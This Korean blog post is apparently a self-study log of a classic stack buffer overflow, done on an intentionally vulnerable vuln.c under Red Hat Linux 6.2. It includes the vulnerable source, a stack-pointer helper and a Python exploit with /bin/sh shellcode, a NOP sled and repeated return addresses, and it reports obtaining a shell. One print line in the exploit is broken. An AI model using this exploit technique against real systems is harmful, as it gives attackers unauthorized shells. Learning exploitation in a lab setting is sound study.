BOF 스터디 – 첫번째

파도콘 CTF 이후 시스템 공부를 안한지 너무 오래 된거 같아 다시 한번 처음부터 Hacking: The Art of Exploitation 책을 보며 차근차근 공부해 보고자 한다... 작심삼일이 되지 않도록 꾸준히 해서 좀 잘해보도록 하자 -_-

OS : Red Hat Linux 6.2
조건 : 랜덤 스택 아님, 실행 가능 스택, 충분한 크기의 버퍼

공격 타켓 소스 (vuln.c)

int main(int argc, char *argv[])
{
   char buffer[500];
   strcpy(buffer, argv[1]);
   return 0;
}

공격 방법은 다음과 같다.

[NOP]   +   [SHELLCODE]   +   [RET]
x byte        46 byte        4*50 byte

46 + 200 = 246 byte 이다. 이제 나머지는 NOP를 채워서 공격 하도록 한다.
그리고 RET 주소를 50배 한 이유는 나중에 NOP 갯수를 넣어 공격 시 확률을 높이기 위해서 이다.

하지만 이 방법으로 공격을 하려면 스택에 올려놓은 NOP 주소를 RET에 넣어야 한다. 대략적인 위치는 현재 스택 포인터로 확인하는 방법이 있는데 아래와 같은 간단한 소스로 확인할 수 있다.

get_esp.c

#include <stdio.h>
unsigned long get_esp(void)
{
    __asm__("movl %esp,%eax");
}

int main()
{
    long esp;
    esp = get_esp();
    printf("ESP : 0x%x\n", esp);
    return 0;
}

위 코드를 실행하면 아래와 같이 스택 포인터를 얻을 수 있다.

얻은 스텍의 주소를 RET로 넣은 공격 코드를 만들어 보자. 단 NOP가 몇개 들어갈지 모르니 인자로 받을 수 있도록 작성해보자

exploit.py

#!/usr/bin/python
import os, sys
shellcode = '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'
num = sys.argv[1]

nop = '\x90'* int(num)
ret = '\x6c\xfb\xff\xbf' * 50   # RET * 50
print 'len(shellcode)
os.execl('./vuln', 'vuln', nop + shellcode + ret)

이제 공격을 해보자.

NOP 개수를 302개 넣었을 때 쉘이 떨어졌다.

  [NOP]   +   [SHELLCODE]   +   [RET]
302 byte        46 byte        200 byte

총 548 byte이다. 즉 아까 다수의 RET를 넣었기 때문에 4번만 시도하면 RET 주소를 맞출 수 있어 쉘이 뜬다.

Question?
RET로 줄 주소를 구하는 방법이 저 코드를 쓸 수 밖에 없는 것인가? GDB에서 아래와 같이 했을 때 주소를 구할 수 있을까?
b main
r AAAAAAAAAAAAAAAAAAAA
x/32wx $esp
후 0x41414141 위치를 찾아 해당 주소를 RET로 준다...

답글 남기기

이메일 주소는 공개되지 않습니다.